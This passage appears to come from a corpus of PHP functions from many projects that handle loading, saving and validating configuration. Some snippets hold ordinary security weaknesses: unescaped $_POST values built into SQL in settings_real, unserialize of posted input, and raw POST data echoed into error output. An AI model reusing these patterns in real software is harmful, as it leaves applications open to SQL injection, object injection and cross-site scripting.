$params_array = $a['params'];\n $date_field = (isset($a['date'])?$a['date']:null);\n $criteria_array = (isset($a['criteria'])?$a['criteria']:null);\n $order_by = (isset($a['order_by'])?$a['order_by']:null);\n $group_by = (isset($a['group_by'])?$a['group_by']:null);\n $limit = (isset($a['limit'])?$a['limit']:null);\n $freq = $a['freq'];\n $priority = $a['priority'];\n $query_method = (isset($a['query_method'])?$a['query_method']:null);\n\n switch ($orm)\n {\n case self::ORM_DB_FINDER:\n $objects = $this->queryUsingDbFinder($model, $criteria_array, $order_by, $group_by, $limit);\n break;\n\n case self::ORM_DOCTRINE:\n $objects = $this->queryUsingDoctrine($model, $query_method, $limit);\n break;\n\n default: // default use Propel\n $objects = $this->queryUsingPropel($model, $criteria_array, $order_by, $group_by, $limit);\n }\n\n // if there's any result\n if ($objects and is_array($objects))\n {\n foreach ($objects as $obj)\n {\n $params = array();\n foreach ($params_array as $name => $method)\n {\n $params[$name] = $obj->$method();\n }\n\n if ($date_field)\n {\n $url_date = $obj->$date_field('c');\n }\n else\n {\n $url_date = date('c');\n }\n\n $gsg->addUrl(\n url_for($route, $params, true),\n false,\n $url_date,\n true,\n $freq,\n $priority\n );\n }\n }\n }\n }\n\n $gsg->generateXml();\n\n }", "protected function _setting_handle() {}", "public function process()\n {\n $configurationDataSet = [\n 'database' => [\n 'server' => $this->getValue('db_server'),\n 'database' => $this->getValue('db_database'),\n 'username' => $this->getValue('db_username'),\n 'password' => $this->getValue('db_password'),\n 'prefix' => ''\n ]\n ];\n\n Modules_Pleskdockerusermanager_Configfile::setServiceConfigurationData($configurationDataSet);\n }", "public function load_settings()\r\n\t{\r\n\t\tif (!$this->_use_cache || !($this->_settings = $this->cache->get('settings')))\r\n\t\t{\r\n\t\t\t// Get settings from database\r\n\t\t\t$this->db->select('setting,value');\r\n\t\t\t$query = $this->db->get('settings');\r\n\r\n\t\t\tforeach ($query->result() as $row)\r\n\t\t\t{\r\n\t\t\t\t$this->_settings[$row->setting] = $row->value;\r\n\t\t\t}\r\n\r\n\t\t\t// Check if we want to cache the results\r\n\t\t\tif ($this->_use_cache)\r\n\t\t\t{\r\n\t\t\t\t$this->cache->save('settings', $this->_settings, $this->_cache_ttl);\r\n\t\t\t\t$this->_repopulated_cache = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "abstract public function get_settings();", "function save_settings_logic( &$fields_string ){\n $ret = '';\n $onechanged=false;\n\n $post2expect = explode(',', $fields_string);\n if( count($post2expect) == 0 ){\n die('fatal error, count zero in save_settings_logic!');\n }\n\n //check how each POSTed setting should be handled\n foreach( $post2expect as $posted ){\n if( $this->is_settings_array($posted) === true ){\n /*# this is a settings array, compare post with existing settings #*/\n\n $parray = $this->get_post_array($posted, true);\n $sarray = $this->get_settings_array($posted);\n $tmp_array = $this->compare_settings_arrays( $sarray, $parray);\n\n /* new_settings now contains the new values to be stored or empty for \"no values\" */\n $array2store = $this->format_array($posted, $tmp_array);\n $this->save_settings_array($posted, $array2store);\n if( $this->settings_array_changes > 0 ){\n $onechanged=true;\n }else{\n //echo \"no changes to $posted<br>\";\n }\n\n }else{\n /*# regular string setting #*/\n $settings = $this->get_settings();\n\n //handle regular strings here\n if( array_key_exists($posted, $_POST) === true && $settings[$posted] != $_POST[$posted] ){\n //setting found and setting has changed, UPDATE!\n $this->save_settings($posted, $_POST[$posted]);\n $onechanged=true;\n }else{\n //echo \"NOT: s: \".$settings[$posted].\" vs p: \".$_POST[$posted].\"<br>\";\n }\n }\n }\n\n if( $onechanged === true ){\n //clear cached ovpn list\n unset($_SESSION['ovpn_assembled']);\n unset($_SESSION['ovpn']);\n $ret = \"<div id=\\\"feedback\\\" class=\\\"feedback\\\">Settings updated</div>\\n\";\n }\n return $ret;\n }", "public static function updatePhpCache() {\n global $_ARRAYLANG, $_CONFIG;\n\n if (!\\Cx\\Lib\\FileSystem\\FileSystem::makeWritable(self::getSettingsFile())) {\n \\Message::add(self::getSettingsFile().' '.$_ARRAYLANG['TXT_SETTINGS_ERROR_WRITABLE'], \\Message::CLASS_ERROR);\n return false;\n }\n\n //get values from ymlsetting\n \\Cx\\Core\\Setting\\Controller\\Setting::init('Config', NULL,'Yaml');\n $ymlArray = \\Cx\\Core\\Setting\\Controller\\Setting::getArray('Config', null);\n $intMaxLen = 0;\n $ymlArrayValues = array();\n foreach ($ymlArray as $key => $ymlValue){\n $_CONFIG[$key] = $ymlValue['value'];\n $ymlArrayValues[$ymlValue['group']][$key] = $ymlValue['value'];\n\n // special case to add legacy domainUrl configuration option\n if ($key == 'mainDomainId') {\n $domainRepository = new \\Cx\\Core\\Net\\Model\\Repository\\DomainRepository();\n $objMainDomain = $domainRepository->findOneBy(array('id' => $ymlArray[$key]['value']));\n if ($objMainDomain) {\n $domainUrl = $objMainDomain->getName();\n } else {\n $domainUrl = $_SERVER['SERVER_NAME'];\n }\n $ymlArrayValues[$ymlValue['group']]['domainUrl'] = $domainUrl;\n if ($_CONFIG['xmlSitemapStatus'] == 'on') {\n \\Cx\\Core\\PageTree\\XmlSitemapPageTree::write();\n }\n }\n\n $intMaxLen = (strlen($key) > $intMaxLen) ? strlen($key) : $intMaxLen;\n }\n $intMaxLen += strlen('$_CONFIG[\\'\\']') + 1; //needed for formatted output\n\n // update environment\n \\Env::set('config', $_CONFIG);\n\n $strHeader = \"<?php\\n\";\n $strHeader .= \"/**\\n\";\n $strHeader .= \"* This file is generated by the \\\"settings\\\"-menu in your CMS.\\n\";\n $strHeader .= \"* Do not try to edit it manually!\\n\";\n $strHeader .= \"*/\\n\\n\";\n\n $strFooter = \"?>\";\n\n //Write values\n $data = $strHeader;\n\n $strBody = '';\n foreach ($ymlArrayValues as $group => $sectionValues) {\n $strBody .= \"/**\\n\";\n $strBody .= \"* -------------------------------------------------------------------------\\n\";\n $strBody .= \"* \".ucfirst($group).\"\\n\";\n $strBody .= \"* -------------------------------------------------------------------------\\n\";\n $strBody .= \"*/\\n\";\n\n foreach($sectionValues as $sectionName => $sectionNameValue) {\n $strBody .= sprintf(\"%-\".$intMaxLen.\"s\",'$_CONFIG[\\''.$sectionName.'\\']');\n $strBody .= \"= \";\n $strBody .= (self::isANumber($sectionNameValue) ? $sectionNameValue : '\"'.str_replace('\"', '\\\"', $sectionNameValue).'\"').\";\\n\";\n }\n $strBody .= \"\\n\";\n }\n\n $data .= $strBody;\n $data .= $strFooter;\n\n try {\n $objFile = new \\Cx\\Lib\\FileSystem\\File(self::getSettingsFile());\n $objFile->write($data);\n return true;\n } catch (\\Cx\\Lib\\FileSystem\\FileSystemException $e) {\n \\DBG::msg($e->getMessage());\n }\n\n return false;\n }", "abstract protected function defineConfiguration();", "public function save_settings($settings)\n {\n }", "private function __saveConfiguration()\n {\n //Check is submit the form\n if (Tools::isSubmit(BECOPAY_PREFIX . 'submit')) {\n\n //clear errors messages\n $this->_errors = array();\n\n //validate is set configuration field\n foreach ($this->config['configuration'] as $config) {\n if ($config['isRequired'] && Tools::getValue(BECOPAY_PREFIX . $config['name']) == NULL)\n $this->_errors[] = $this->l($config['title'] . ' is require');\n }\n\n //if has no errors check with PaymentGateway Constructor validation\n if (empty($this->_errors)) {\n try {\n new PaymentGateway(\n Tools::getValue(BECOPAY_PREFIX . 'apiBaseUrl'),\n Tools::getValue(BECOPAY_PREFIX . 'apiKey'),\n Tools::getValue(BECOPAY_PREFIX . 'mobile')\n );\n } catch (\\Exception $e) {\n $this->_errors[] = $e->getMessage();\n }\n }\n\n //Display error messages if has error\n if (!empty($this->_errors)) {\n $this->_html = $this->displayError(implode('<br>', $this->_errors));\n } else {\n\n //save configuration form fields\n foreach ($this->config['configuration'] as $config)\n if (Tools::getValue(BECOPAY_PREFIX . $config['name']) != NULL)\n Configuration::updateValue(BECOPAY_PREFIX . $config['name'], trim(Tools::getValue(BECOPAY_PREFIX . $config['name'])));\n\n\n //display confirmation message\n $this->_html = $this->displayConfirmation($this->l('Settings updated'));\n }\n }\n }", "static function set_config() {\n\t\tif ( file_exists( self::childpath() . 'config/wpgrade-config' . EXT ) ) {\n\t\t\tself::$configuration = include self::childpath() . 'config/wpgrade-config' . EXT;\n\t\t} elseif ( file_exists( self::themepath() . 'config/wpgrade-config' . EXT ) ) {\n\t\t\tself::$configuration = include self::themepath() . 'config/wpgrade-config' . EXT;\n\t\t} elseif ( file_exists( self::childpath() . 'wpgrade-config' . EXT ) ) {\n\t\t\tself::$configuration = include self::childpath() . 'wpgrade-config' . EXT;\n\t\t} elseif ( file_exists( self::themepath() . 'wpgrade-config' . EXT ) ) {\n\t\t\tself::$configuration = include self::themepath() . 'wpgrade-config' . EXT;\n\t\t}\n\t}", "public function saveSettings()\n {\n if (empty($this->settings)) {\n $this->loadSettings();\n }\n \n $this->saveJSON($this->settings);\n }", "function load_config() {\n $config_file = \"scripts/i-erp.conf\";\n $comment = \"#\";\n // open the config file\n $fp = fopen($config_file, \"r\");\n if (!$fp) {\n echo(\"Failed to open file\");\n return 0;\n }\n // loop through the file lines and pull out variables\n while (!feof($fp)) {\n $line = trim(fgets($fp));\n if ($line && $line[0] != $comment) {\n $pieces = explode(\"=\", $line);\n $option = trim($pieces[0]);\n $value = trim($pieces[1]);\n $config_values[$option] = $value;\n }\n }\n fclose($fp);\n $_SESSION['install_lib'] = $config_values['install_lib'];\n $_SESSION['server'] = $config_values['server'];\n $_SESSION['timeout'] = $config_values['timeout'];\n $_SESSION['appname'] = $config_values['appname'];\n $_SESSION['h_logo'] = $config_values['h_logo'];\n $_SESSION['si_logo'] = $config_values['si_logo'];\n $_SESSION['copyr'] = $config_values['copyr'];\n return 1;\n}", "protected static function setSettingData($arSettings)\r\n\t{\r\n\t\treturn (boolean)file_put_contents(__DIR__ . '/settings.json', static::wrapData($arSettings));\r\n\t}", "protected function setUpFromConfig()\n\t{\n\t\t$timeLimit = 4 * 60 * 60;\n\n\t\t$parameters = $this->container->getParameters();\n\t\tif (is_array($parameters) and array_key_exists(\"taskManager\", $parameters)) {\n\t\t\t/// ***** TIMELIMIT ****** //\n\t\t\tif (isset($parameters[\"taskManager\"][\"timeLimit\"])) {\n\t\t\t\t$timeLimit = $parameters[\"taskManager\"][\"timeLimit\"];\n\t\t\t}\n\t\t\t/// ***** MAX HISTORY DAYS ****** //\n\t\t\tif (isset($parameters[\"taskManager\"][\"history\"][\"maxDays\"])) {\n\t\t\t\t$this->maxHistoryDays = (int)$parameters[\"taskManager\"][\"history\"][\"maxDays\"];\n\t\t\t}\n\t\t\t/// ***** MAX HISTORY RECORDS ****** //\n\t\t\tif (isset($parameters[\"taskManager\"][\"history\"][\"maxRecords\"])) {\n\t\t\t\t$this->maxHistoryRecords = (int)$parameters[\"taskManager\"][\"history\"][\"maxRecords\"];\n\t\t\t}\n\t\t}\n\n\t\tset_time_limit($timeLimit);\n\t}", "protected function define_settings() {\n\n // All the settings related to this activity will include this prefix\n $settingprefix = $this->info->modulename . '_' . $this->info->moduleid . '_';\n\n // All these are common settings to be shared by all activities\n\n // Define activity_include (to decide if the whole task must be really executed)\n // Dependent of:\n // - activities root setting\n // - section_included setting (if exists)\n $settingname = $settingprefix . 'included';\n $activity_included = new restore_activity_generic_setting($settingname, base_setting::IS_BOOLEAN, true);\n $activity_included->get_ui()->set_icon(new image_icon('icon', get_string('pluginname', $this->modulename),\n $this->modulename, array('class' => 'iconlarge icon-post')));\n $this->add_setting($activity_included);\n // Look for \"activities\" root setting\n $activities = $this->plan->get_setting('activities');\n $activities->add_dependency($activity_included);\n // Look for \"section_included\" section setting (if exists)\n $settingname = 'section_' . $this->info->sectionid . '_included';\n if ($this->plan->setting_exists($settingname)) {\n $section_included = $this->plan->get_setting($settingname);\n $section_included->add_dependency($activity_included);\n }\n\n // Define activity_userinfo. Dependent of:\n // - users root setting\n // - section_userinfo setting (if exists)\n // - activity_included setting.\n $settingname = $settingprefix . 'userinfo';\n $defaultvalue = false;\n if (isset($this->info->settings[$settingname]) && $this->info->settings[$settingname]) { // Only enabled when available\n $defaultvalue = true;\n }\n\n $activity_userinfo = new restore_activity_userinfo_setting($settingname, base_setting::IS_BOOLEAN, $defaultvalue);\n if (!$defaultvalue) {\n // This is a bit hacky, but if there is no user data to restore, then\n // we replace the standard check-box with a select menu with the\n // single choice 'No', and the select menu is clever enough that if\n // there is only one choice, it just displays a static string.\n //\n // It would probably be better design to have a special UI class\n // setting_ui_checkbox_or_no, rather than this hack, but I am not\n // going to do that today.\n $activity_userinfo->set_ui(new backup_setting_ui_select($activity_userinfo, '-',\n array(0 => get_string('no'))));\n } else {\n $activity_userinfo->get_ui()->set_label('-');\n }\n\n $this->add_setting($activity_userinfo);\n\n // Look for \"users\" root setting\n $users = $this->plan->get_setting('users');\n $users->add_dependency($activity_userinfo);\n\n // Look for \"section_userinfo\" section setting (if exists)\n $settingname = 'section_' . $this->info->sectionid . '_userinfo';\n if ($this->plan->setting_exists($settingname)) {\n $section_userinfo = $this->plan->get_setting($settingname);\n $section_userinfo->add_dependency($activity_userinfo);\n }\n\n // Look for \"activity_included\" setting.\n $activity_included->add_dependency($activity_userinfo);\n\n // End of common activity settings, let's add the particular ones.\n $this->define_my_settings();\n }", "protected function _load_config()\n {\n clearos_profile(__METHOD__, __LINE__);\n\n try {\n $config_file = new Configuration_File(self::FILE_CONFIG);\n $rawdata = $config_file->load();\n } catch (File_Not_Found_Exception $e) {\n // Not fatal, set defaults below\n } catch (Engine_Exception $e) {\n throw new Engine_Exception($e->get_message(), CLEAROS_WARNING);\n }\n\n if (isset($rawdata['allow_shell']) && preg_match(\"/(true|1)/i\", $rawdata['allow_shell']))\n $this->config['allow_shell'] = TRUE;\n else\n $this->config['allow_shell'] = FALSE;\n\n if (isset($rawdata['theme_mode']) && !empty($rawdata['theme_mode']))\n $this->config['theme_mode'] = $rawdata['theme_mode'];\n else\n $this->config['theme_mode'] = 'normal';\n\n if (isset($rawdata['theme']) && !empty($rawdata['theme']))\n $this->config['theme'] = $rawdata['theme'];\n else\n $this->config['theme'] = 'default';\n\n $this->is_loaded = TRUE;\n }", "function load_config($conf) {\n $this->conf = $conf; // Store configuration\n\n $this->pi_setPiVarDefaults(); // Set default piVars from TS\n $this->pi_initPIflexForm(); // Init FlexForm configuration for plugin\n\n // Read extension configuration\n $extConf = unserialize($GLOBALS['TYPO3_CONF_VARS']['EXT']['extConf'][$this->extKey]);\n\n if (is_array($extConf)) {\n $conf = t3lib_div::array_merge($extConf, $conf);\n\n }\n\n // Read TYPO3_CONF_VARS configuration\n $varsConf = $GLOBALS['TYPO3_CONF_VARS']['EXTCONF'][$this->extKey];\n\n if (is_array($varsConf)) {\n\n $conf = t3lib_div::array_merge($varsConf, $conf);\n\n }\n\n // Read FlexForm configuration\n if ($this->cObj->data['pi_flexform']['data']) {\n\n foreach ($this->cObj->data['pi_flexform']['data'] as $sheetName => $sheet) {\n\n foreach ($sheet as $langName => $lang) {\n foreach(array_keys($lang) as $key) {\n\n $flexFormConf[$key] = $this->pi_getFFvalue($this->cObj->data['pi_flexform'], \n $key, $sheetName, $langName);\n\n if (!$flexFormConf[$key]) {\n unset($flexFormConf[$key]);\n\n }\n }\n }\n }\n }\n\n if (is_array($flexFormConf)) {\n\n $conf = t3lib_div::array_merge($conf, $flexFormConf);\n }\n\n $this->conf = $conf;\n\n }", "public function load_settings() {\n\n include( trailingslashit( CUSTOM_LOGIN_DIR ) . 'includes/default-settings.php' );\n $this->settings_api = new CL_Settings_API(\n $sections,\n $fields,\n array(\n 'option_name' => CUSTOM_LOGIN_OPTION,\n 'option_group' => CUSTOM_LOGIN_OPTION . '_group',\n 'domain' => CUSTOM_LOGIN_DIRNAME,\n 'prefix' => $this->prefix,\n 'version' => $this->version,\n 'menu_page' => $this->menu_page,\n 'nonce' => CUSTOM_LOGIN_OPTION . '_nonce_' . CUSTOM_LOGIN_BASENAME,\n 'file' => CUSTOM_LOGIN_FILE,\n )\n );\n $this->settings_api->admin_init();\n }", "function save_settings(){\r\n if(isset($_POST['SKWPSB_IN_SUBMIT'])){\r\n $this->message = '';\r\n foreach($this->settingsList() as $key => $val){\r\n if($_POST['SKWPSB_IN_PLUGIN'] == $key){\r\n if(isset($this->recognizedPlugins[$key])){\r\n // Recognized plugin\r\n $foo = $this->recognizedPlugins[$key]['set_options'];\r\n if(function_exists($foo)){\r\n if($foo(stripslashes($_POST['SKWPSB_IN_CODE']))){\r\n $this->message = 'Settings successfully imported.';\r\n } else {\r\n $this->errorMessage = 'The plugin returned an error, make sure you copied the code correctly.';\r\n }\r\n return;\r\n } else {\r\n $this->errorMessage = 'The selected plugin is not responding correctly.';\r\n } return;\r\n } else {\r\n // Standard\r\n @$data = unserialize(stripslashes($_POST['SKWPSB_IN_CODE']));\r\n if(!$data || empty($data)){\r\n $this->errorMessage = 'Wrong code, make sure you copied it correctly.'.$_POST['SKWPSB_IN_CODE'];\r\n return;\r\n } else {\r\n update_option($key, $data);\r\n $this->message = 'Settings successfully imported.';\r\n return;\r\n }\r\n }\r\n }\r\n }\r\n $this->errorMessage = 'You might not have selected any destination plugin.';\r\n }\r\n else if(isset($_POST['SKWPSB_EX_SUBMIT'])){\r\n foreach($this->settingsList() as $key => $val){\r\n if($_POST['SKWPSB_EX_PLUGIN'] == $key){\r\n if(isset($this->recognizedPlugins[$key])){\r\n // Recognized plugin\r\n $foo = $this->recognizedPlugins[$key]['get_options'];\r\n if(function_exists($foo)){\r\n $this->exportedSettings = $foo();\r\n $this->message = '<p>Use the code to import the settings to another blog.</p><p>Copy the code as it is, don\\'t add spaces or newlines.</p>';\r\n return;\r\n } else {\r\n $this->errorMessage = 'The selected plugin is not responding correctly.';\r\n } return;\r\n } else {\r\n // Standard\r\n $this->exportedSettings = $val;\r\n $this->message = '<p>Use the code to import the settings to another blog.</p><p>Copy the code as it is, don\\'t add spaces or newlines.</p>';\r\n return;\r\n }\r\n }\r\n }\r\n $this->errorMessage = 'You might not have selected any source plugin.';\r\n }\r\n }", "private static function load_settings($settings_file) {\n self::$settings = spyc_load_file($settings_file);\n }", "function register_settings() {\n\tregister_setting(\n\t\t'StandardsReader_settings_group', // Option group\n\t\t'endpoint'); // Sanitize\n\t\n\tregister_setting(\n\t\t'StandardsReader_settings_group', // Option group\n\t\t'check_interval'); // Sanitize\n\t\n\tregister_setting('StandardsReader_settings_group', 'mapPage');\n\tregister_setting('StandardsReader_settings_group', 'mapListing');\n\t\t \n}", "function settings_real()\n\t{\n\t\tglobal $errors, $db, $board_config, $cache;\n\t\t\n\t\t// basic check\n\t\tif ( !isset( $_POST[ 'submit_sett' ] ) )\n\t\t{\n\t\t\t$errrors->report_error( $this->lang[ 'Wrong_form' ], CRITICAL_ERROR );\n\t\t}\n\t\t\n\t\t// this used to create a behemoth query that sometimes crashed servers\n\t\t// it has been decided that using several simpler queries is quicker\n\t\tforeach ( $board_config as $name => $value )\n\t\t{\n\t\t\tif ( isset( $_POST[ $name ] ) )\n\t\t\t{ // value was sent with the form\n\t\t\t\t$post = $_POST[ $name ];\n\t\t\t\tif ( $post != $value )\n\t\t\t\t{ // old and new values differ\n\t\t\t\t\t$sql = \"UPDATE \" . CONFIG_TABLE . \" SET config_value='$post' WHERE config_name='$name'\";\n\t\t\t\t\tif ( !$db->sql_query( $sql ) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$errors->report_error( 'Couldn\\'t write to database', CRITICAL_ERROR );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// got here, this means all went well\n\t\t// remove from cache\n\t\t$cache->delete( 'board_config' );\n\t\t\n\t\t$errors->report_error( $this->lang[ 'Sett_done' ], MESSAGE );\n\t\treturn;\n\t\t\n\t\t// the old version remains for archival purposes for now and will be removed with time\n\t\t\n\t\t// now build the query\n\t\t// do the same table is done as many in order to use only one query\n\t\t$tables = array();\n\t\t$wheres = array();\n\t\t$sets = array();\n\t\t$i = 0;\n\t\t// loop\n\t\tforeach ( $board_config as $name => $void )\n\t\t{\n\t\t\tif ( isset( $_POST[ $name ] ) )\n\t\t\t{\n\t\t\t\t$post = $_POST[ $name ];\n\t\t\t\t$t = 'c' . $i;\n\t\t\t\t$tables[] = CONFIG_TABLE . ' ' . $t;\n\t\t\t\t$wheres[] = \"$t.config_name='$name'\";\n\t\t\t\t$sets[] = \"$t.config_value='$post'\";\n\t\t\t\t$i++;\n\t\t\t}\n\t\t}\n\t\t// make the query\n\t\t$sql = \"UPDATE \" . implode( ', ', $tables ) . \" SET \" . implode( ', ', $sets ) . \" WHERE \" . implode( ' AND ', $wheres );\n\t\tif ( !$db->sql_query( $sql ) )\n\t\t{\n\t\t\t$errors->report_error( 'Couldn\\'t write to database', CRITICAL_ERROR );\n\t\t}\n\t\t\n\t\t// remove from cache\n\t\t$cache->delete( 'board_config' );\n\t\t\n\t\t$errors->report_error( $this->lang[ 'Sett_done' ], MESSAGE );\n\t}", "function saveSettings()\n\t\t{\n\t\t\t$this->Init();\n\n\t\t\t$this->saveExternalSettings();\n\t\t\t\n\t\t\t$settings = serialize(array(\"settings\"=>$this->settings));\n\t\n\t\n\t\t\t$stream = mapi_openpropertytostream($this->store, PR_EC_WEBACCESS_SETTINGS, MAPI_CREATE | MAPI_MODIFY);\n\t\t\tmapi_stream_setsize($stream, strlen($settings));\n\t\t\tmapi_stream_seek($stream, 0, STREAM_SEEK_SET);\n\t\t\tmapi_stream_write($stream, $settings);\n\t\t\tmapi_stream_commit($stream);\n\t\n\t\t\tmapi_savechanges($this->store);\n\t\n\t\t\t// reload settings from store...\n\t\t\t$this->retrieveSettings();\n\t\t}", "public function init_settings() {\n // Load form_field settings\n $this->settings = get_option($this->plugin_id . $this->id . '_settings', null);\n\n if (!$this->settings || !is_array($this->settings)) {\n\n $this->settings = array();\n\n // If there are no settings defined, load defaults\n if ($form_fields = $this->get_form_fields())\n foreach ($form_fields as $k => $v)\n $this->settings[$k] = isset($v['default']) ? $v['default'] : '';\n }\n\n if ($this->settings && is_array($this->settings)) {\n $this->settings = array_map(array($this, 'format_settings'), $this->settings);\n $this->enabled = isset($this->settings['enabled']) && $this->settings['enabled'] == 'yes' ? 'yes' : 'no';\n }\n }", "public function settings($options = 'get'){\n\t\t// ensure settings are given\n\t\tif(is_array($options) && count($options) > 0){\n\t\t\t// loop through all settings given\n\t\t\tforeach ($options as $setting => $value) {\n\t\t\t\t// check for existence of desired variable\n\t\t\t\tif(property_exists('SiteCrawler', $setting)){\n\t\t\t\t\t// switch through all variables for validation\n\t\t\t\t\tswitch ($setting) {\n\t\t\t\t\t\t// check if desired value is a string\n\t\t\t\t\t\tcase 'url':\n\t\t\t\t\t\t\tif(gettype($value) === 'string'){\n\t\t\t\t\t\t\t\t// set variable, return true\n\t\t\t\t\t\t\t\t$this->{$value} = $value;\n\t\t\t\t\t\t\t\t$return[$setting] = true;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t// return errors \n\t\t\t\t\t\t\t\t$return[$setting] = array('value'=>$value, 'error'=>'Given value was type '.gettype($value).', <em>string</em> required.');\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t// check if value is populated array\n\t\t\t\t\t\tcase 'file_types':\n\t\t\t\t\t\t\tif(gettype($value) === 'array' && count($value) > 0){\n\t\t\t\t\t\t\t\t// loop through array\n\t\t\t\t\t\t\t\tforeach ($value as $type) {\n\t\t\t\t\t\t\t\t\t// check if value is a string\n\t\t\t\t\t\t\t\t\tif(gettype($type) === 'string'){\n\t\t\t\t\t\t\t\t\t\t// set variable, return true\n\t\t\t\t\t\t\t\t\t\t$this->{$setting}[] = $type;\n\t\t\t\t\t\t\t\t\t\t$return[$setting][$type] = true;\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t// return errors if not string\n\t\t\t\t\t\t\t\t\t\t$return[$setting][$type] = array('value'=>$type, 'error'=>'Given value was type '.gettype($type).', <em>string</em> required.');\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// remove duplicates from array\n\t\t\t\t\t\t\t\t$this->{$setting} = array_unique($this->$setting);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t// return errors if not array\n\t\t\t\t\t\t\t\t$return[$setting] = array('value'=>$value, 'error'=>'Given value was type '.gettype($value).', <em>array</em> required.');\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t// check if value is populated array\n\t\t\t\t\t\tcase 'ignore_dirs':\n\t\t\t\t\t\t\tif (gettype($value) === 'array' && count($value) > 0) {\n\t\t\t\t\t\t\t\t// loop through array\n\t\t\t\t\t\t\t\tforeach ($value as $type) {\n\t\t\t\t\t\t\t\t\t// check if value is a string\n\t\t\t\t\t\t\t\t\tif(gettype($type) === 'string'){\n\t\t\t\t\t\t\t\t\t\t// set variable, return true\n\t\t\t\t\t\t\t\t\t\t$this->{$setting}[] = $type;\n\t\t\t\t\t\t\t\t\t\t$return[$setting][$type] = true;\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t// return errors if not string\n\t\t\t\t\t\t\t\t\t\t$return[$setting][$type] = array('value'=>$type, 'error'=>'Given value was type '.gettype($type).', <em>string</em> required.');\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// remove duplicates from array\n\t\t\t\t\t\t\t\t$this->{$setting} = array_unique($this->$setting);\n\t\t\t\t\t\t\t// check if value is null\n\t\t\t\t\t\t\t} elseif(is_null($value)) {\n\t\t\t\t\t\t\t\t// set variable, return true\n\t\t\t\t\t\t\t\t$this->{$setting} = null;\n\t\t\t\t\t\t\t\t$return[$setting] = true;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t// return errors if not array or null\n\t\t\t\t\t\t\t\t$return[$setting] = array('setting' => $setting, 'value' => $value, 'error' => 'Given $value was type '.gettype($value).', <em>array</em> or <em>null</em> required');\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t$return[$setting] = array('setting'=>$setting, 'value'=>$value, 'error'=>'Given setting does not exist or cannot be altered');\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$return[$setting] = array('setting'=>$setting, 'value'=>$value, 'error'=>'Given setting does not exist or cannot be altered');\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t// if $options is not an array, switch it to decide what to do\n\t\t\tswitch ($options) {\n\t\t\t\t// if $options is 'get', print all variables but $pages (usually empty), $visited and $links (could be massive), and $doc (DOMDocument object)\n\t\t\t\tcase 'get':\n\t\t\t\t\t// initiate a ReflectionClass object, gather properties\n\t\t\t\t\t$reflect = new ReflectionClass($this);\n\t\t\t\t\t$properties = $reflect->getProperties();\n\t\t\t\t\t// loop through properties, add to array\n\t\t\t\t\tforeach ($properties as $prop) {\n\t\t\t\t\t\t$name = $prop->getName();\n\t\t\t\t\t\tif($name !== 'pages' && $name !== 'links' && $name !== 'visited' && $name !== 'doc' && $name !== 'robot'){\n\t\t\t\t\t\t\t$return[$name] = $this->{$name};\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif($this->robot){\n\t\t\t\t\t\t\t$return['robot'] = $this->robot->settings();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn $return;\n\t}", "function myprefix_init_settings() {\t\n\t\n\t// Settings section:\n\t// Multiple settings can go into this section after we set it up.\n\t// We are going to add three settings into this one section.\n\t\tadd_settings_section(settingsSectionOneSlug, settingsSectionOneTitle, \n\t\t\tsettingsSectionOneCallbackFunction, settingsPageID);\n\t\n\t// Settings field:\n\t// We add settings fields to our settings section:\n\t\tadd_settings_field(settingOneSlug, settingOneTitle, settingOneCallbackFunction, \n\t\t\tsettingsPageID, settingsSectionOneSlug, array( 'label_for' => settingOneSlug ));\n\t\tadd_settings_field(settingTwoSlug, settingTwoTitle, settingTwoCallbackFunction, \n\t\t\tsettingsPageID, settingsSectionOneSlug, array( 'label_for' => settingTwoSlug ));\n\t\tadd_settings_field(settingThreeSlug, settingThreeTitle, settingThreeCallbackFunction, \n\t\t\tsettingsPageID, settingsSectionOneSlug, array( 'label_for' => settingThreeSlug ));\n\t\n\t// Setting:\n\t// Now we register our settings:\n\t\tregister_setting(settingsPageID, settingOneSlug, settingOneValidationFunction);\n\t\tregister_setting(settingsPageID, settingTwoSlug, settingTwoValidationFunction);\n\t\tregister_setting(settingsPageID, settingThreeSlug, settingThreeValidationFunction);\n}", "protected function settingsValidate( $settings ) {\n\n\t\t\tif ( !isset( $_POST['initial_save'] ) || !$_POST['initial_save'] ) {\n\n\t\t\t\t$boolean_settings = apply_filters( 'muut_boolean_settings', array(\n\t\t\t\t\t'replace_comments',\n\t\t\t\t\t'use_threaded_commenting',\n\t\t\t\t\t'override_all_comments',\n\t\t\t\t\t'is_threaded_default',\n\t\t\t\t\t'show_online_default',\n\t\t\t\t\t'allow_uploads_default',\n\t\t\t\t\t'subscription_use_signed_setup',\n\t\t\t\t\t'use_custom_s3_bucket',\n\t\t\t\t\t'subscription_use_sso',\n\t\t\t\t\t'website_uses_caching',\n\t\t\t\t\t'enable_proxy_rewrites',\n\t\t\t\t\t'use_webhooks',\n\t\t\t\t) );\n\n\t\t\t\tforeach ( $boolean_settings as $boolean_setting ) {\n\t\t\t\t\t$settings[$boolean_setting] = isset( $settings[$boolean_setting] ) ? $settings[$boolean_setting] : '0';\n\t\t\t\t}\n\n\t\t\t\tif ( ( isset( $settings['forum_name'] ) && 